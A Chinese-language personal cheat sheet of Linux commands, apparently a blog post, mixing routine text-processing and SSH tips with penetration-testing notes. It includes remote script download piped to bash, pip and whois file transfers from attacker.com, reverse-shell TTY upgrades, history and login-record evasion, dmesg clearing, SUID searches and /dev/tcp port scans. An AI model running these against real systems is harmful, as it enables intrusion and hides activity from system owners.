Linux部分实用命令

linux部分命令速查 for me。

命令行的艺术 OSCP Notes

命令解释

获取命令帮助的网站
gtfobins
Runoob

查看用户|用户组

1
2
cat /etc/passwd
cat /etc/group

linux中存放用户密码的文件
/etc/shadow 加密过得~

显示某个文件的第几行

显示文件的5到20行
sed -n '5,20p' firename

删除文本换行符和空格

1
awk '{printf("%s",$0)}' tmp.txt | sed 's/\ //g' $1 

linux 下删除文本空行

grep

1
grep -v '^$' file

sed

1
sed '/^$/d' file

awk

1
awk '/./ {print}' file 或 awk '{if($0!=" ") print}'

tr

1
2
3
tr -s "n"

tr "\n" " " #替换为空格

vim

除此之外,vim也可以在查看时。通过命令模式删除空行。vim在命令模式下输入:

1
%s/^n//g

意思是全局替换所有以回车开头的字符,替换为空。如果有多个连续的空行,想保留一行。则只需在命令行模式输入下行即可:

1
%s/^n$//g

linux shell 字符串反转 rev

1
2
$ echo $PATH|rev
lrep_eroc/nib/rsu/:lrep_rodnev/nib/rsu/:lrep_etis/nib/rsu/:nib/rsu/:nib/lacol/rsu/:nibs/lacol/rsu/

linux shell base64

1
2
3
$ echo $PATH|base64
L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvYmluOi91c3IvYmluL3NpdGVfcGVy
bDovdXNyL2Jpbi92ZW5kb3JfcGVybDovdXNyL2Jpbi9jb3JlX3BlcmwK

在线加密解密

查找SUID位的文件

1
2
3
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm /4000 2>&1 | grep -v “Permission denied”
find / -perm -u=s -type f 2>/dev/null

查找目录下的文件最多

1
find ./ -maxdepth 2 -type d -exec bash -c 'n=$(find {} -maxdepth 1 -type f -printf x | wc -c); echo "{} $n"' \; |sort -k2n

查看Linux内核/系统版本

cat /proc/version

1
2
cat /proc/version
Linux version 5.5.13-arch2-1 (linux@archlinux) (gcc version 9.3.0 (Arch Linux 9.3.0-1)) #1 SMP PREEMPT Mon, 30 Mar 2020 20:42:41 +0000

uname -a

1
2
uname -a
Linux sds0 5.5.13-arch2-1 #1 SMP PREEMPT Mon, 30 Mar 2020 20:42:41 +0000 x86_64 GNU/Linux

-r 只看内核号

lsb_release -a

1
2
3
4
5
6
lsb_release -a
LSB Version: 1.4
Distributor ID: Arch
Description: Arch Linux
Release: rolling
Codename: n/a

cat /etc/issue

1
2
cat /etc/issue
Arch Linux \r (\l)

curl 部分用法

模拟浏览器发送get请求

1
curl http://www.baidu.com

发送POST请求

1
curl -X POST -d "flagpls=flagpls" http://ip

在浏览器开发者工具存储器中可设置cookie

获取可进行的请求

1
curl http://..... -X OPTIONS -v

设置User-agent,不设置ua默认的是curl/curl的版本号

1
2
3
4
User-Agent: curl/7.64.1

那么怎么设置呢?
-A, --user-agent <name> Send User-Agent <name> to server
1
curl www.baidu.com -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36'

如果抓包的话就会发现请求包头的UA字段变成了上面那个了。

wget部分用法

wget设置UA下载

1
wget --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36" url

终端输出(不另存为成单独的文件)

1
wget -q -O - http://1.1.1.1:8000/linpeas.sh

python打开tty,nc升级完全交互式的TTY

如何将简单的Shell转换成为完全交互式的TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Bash
## In reverse shell

python -c 'import pty; pty.spawn("/bin/bash")'

目标系统没有python时可用:SHELL=/bin/bash script -q /dev/null
Ctrl-Z

## In Kali
stty raw -echo
fg

## In reverse shell
reset
xterm
export TERM=xterm
stty rows 48 cols 99

# Zsh
## In reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'

目标系统没有python时可用:SHELL=/bin/bash script -q /dev/null
# 没有bash的时候用sh也可以 SHELL=/bin/sh script -q /dev/null
Ctrl-Z

## In Kali zsh,you need to used one command line

stty raw -echo;fg

### In reverse shell

reset
xterm
export TERM=xterm
stty rows 48 cols 99

python部署简易网站

1
2
3
python -m SimpleHTTPServer # 不指定端口默认8000
python -m http.server
python3 -m updog --ssl --password 123456 -p 80 #不是自带库,需要安装。

不验证证书进行https请求

1
2
3
4
wget 'https://x.x.x.x/get_ips' --no-check-certificate
curl 'https://x.x.x.x/get_ips' -k
gobuster dir -u 'https://x.x.x.x/' -w ~/big.txt -k
feroxbuster --url 'https://x.x.x.x/' --wordlist ~/big.txt -k

设置term

1
export TERM=xterm

Arch 查询滚了多少次(…)

1
echo $(head -n1 /var/log/pacman.log | cut -d " " -f 1,2) 以来一共滚了 $(grep -c "full system upgrade" /var/log/pacman.log) 次

渗透过程中不记录历史命令

export HISTFILE=/dev/null 将HISTFILE设置为/dev/null

1
2
3
python -c 'import pty; pty.spawn("/bin/bash")' #可以不被记录命令

cat | zsh #这个也可以

避免登录被记录

1
2
3
ssh -T [email protected]

#进去后是没有交互式终端的,可以自己用nc会话升级的办法升级。升级之后w也是查看不到在已登陆用户。

无文件落地执行

1
2
3
4
5
curl -L http://aaaa.com/a.sh|bash

/bin/bash -c "$(curl -fsSL https://aaaa/a.sh)"

wget -q -O - http://1.1.1.1/a.sh|bash

Dos格式文件快速转为Unix

使用vi

1
2
:set fileformat=unix
:w

dos2unix

1
dos2unix filename

Linux 命令行下快速编解码hex

1
2
3
4
5
$ echo -n abc|xxd -ps
616263
# 解码hex数据
$ echo 616263|xxd -ps -r
abc

Linux使用impakcet快速开启一个SMB共享目录

1
python3 /usr/share/doc/python3-impacket/exapmles/smbserver.py -comment "My Share" TMP /tmp  

PIP下载文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
export URL=http://attacker.com/file_to_get

export LFILE=/tmp/file_to_save

TF=\$(mktemp -d)

echo 'import sys; from os import environ as e

if sys.version_info.major == 3: import urllib.request as r

else: import urllib as r

r.urlretrieve(e["URL"], e["LFILE"])' \> \$TF/setup.py

pip install \$TF

whois传输文件

攻击机执行

1
2
3
4
nc -lp 12345 < "abc"

## 传递二进制文件
base64 "file_to_send" \| nc -l -p 12345

靶机执行

1
2
3
4
RHOST=attacker.com
RPORT=12345
LFILE=file_to_save
whois -h \$RHOST -p \$RPORT \> "\$LFILE"

切换java版本

1
sudo update-alternatives --config java

编译32位且动态链接库文件很老的二进制文件

1
gcc -Wl,--hash-style=both -m32 -o test test.c

nohup

如果用ssh连接服务器,在ssh连接中断后,在ssh下开启的后台命令什么的都会被中断掉。但是有时候会有些任务持续的时间很长,那么可以使用nohup命令. 该命令可以在你退出帐户/关闭终端之后继续运行相应的进程. nohup就是不挂起的意思。

1
nohup tcpdump -i eth0 -w a.pcap &

之后tcpdump用户就会执行这个进程,在你ssh会话挂了之后此任务还会继续进行。

正则

1
2
3
4
5
6
提取一段内容中的所有IP地址
((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}
判断字符串是否是IP地址
^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$
提取md5hash
[0-9a-fA-F]{32}

mysql查询结果写到文件

into outfile

1
select count(1) from table  into outfile '/tmp/test.xls';

有可能就英文secure_file_priv或者是mysql权限的原因导致无法写入。

命令行写

1
mysql -h 127.0.0.1 -u root -p XXXX -P 3306 -e "select * from database.table"  > /tmp/test/txt

ssh-keygen生产私钥对

1
ssh-keygen rsa 4096 -f a.key

SSH

Unable to negotiate with 10.129.131.134 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

1
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 [email protected]

Unable to negotiate with 10.255.252.1 port 22: no matching cipher found. Their offer: 3des-cbc

1
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc [email protected]

supporat ssh-dss

1
ssh -oHostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss [email protected]

CGI-BIN

常见后缀

1
sh,pl,py,cgi

Debian开启Crontab日志

1
2
3
4
5
vim /etc/rsyslog.conf

去掉cron.*的注释

systemctl restart rsyslog

Linux环境变量加载顺序

https://www.cnblogs.com/youyoui/p/10680329.html

  1. /etc/environment
  2. /etc/profile
  3. /etc/bash.bashrc
  4. /etc/profile.d/test.sh
  5. ~/.profile
  6. ~/.bashrc

追进程

1
pstree -sp ${PID}

dmesg 信息删除

1
dmesg -C

Linux简易内网主机发现

1
2
3
4
5
for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done

for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done


SSH 本地端口转发

1
ssh -L 8000:172.16.0.10:80 [email protected] -fN

动态

1
ssh -D 1337 [email protected] -fN

远程

1
2
3
ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN

ssh -R 8000:172.16.0.10:80 [email protected] -i KEYFILE -fN